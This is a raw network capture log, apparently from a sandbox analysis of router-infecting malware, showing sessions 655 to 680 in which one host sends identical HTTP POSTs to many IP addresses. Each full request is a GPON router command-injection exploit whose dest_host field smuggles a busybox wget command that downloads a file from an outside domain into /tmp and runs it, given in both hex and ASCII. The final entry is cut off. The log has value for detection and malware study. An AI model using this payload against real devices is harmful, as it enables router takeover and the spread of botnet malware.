655	192.168.2.23	54840	148.217.70.193	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181157112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.23	42064	42.84.105.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181157112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.23	36246	210.174.102.18	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181181908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.23	51350	117.106.247.73	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181238890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.23	59012	212.114.134.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181257010 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.23	51130	178.211.36.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181296110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.23	35688	123.96.148.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181333065 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.23	46976	5.79.74.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181392908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.23	35666	118.31.76.194	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181410074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.23	57324	118.37.124.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181448936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.23	34656	5.205.36.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181497097 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.23	37180	79.204.185.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181554079 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.23	52332	118.215.120.50	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181587934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.23	54306	118.166.9.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181595087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.23	55952	117.115.15.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181653023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.23	33666	148.161.131.252	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181679010 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.23	44522	37.250.225.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181715965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.23	40460	94.27.153.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181766033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.23	60914	37.186.108.87	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181807995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.23	33886	2.48.77.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181847095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.23	47558	148.0.220.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181885004 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.23	57620	148.248.53.106	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181885958 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.23	47158	123.124.160.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181914091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.23	41606	5.48.195.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181945086 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.23	33726	79.194.176.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181998014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.23	41968	42.29.46.49	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182032108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 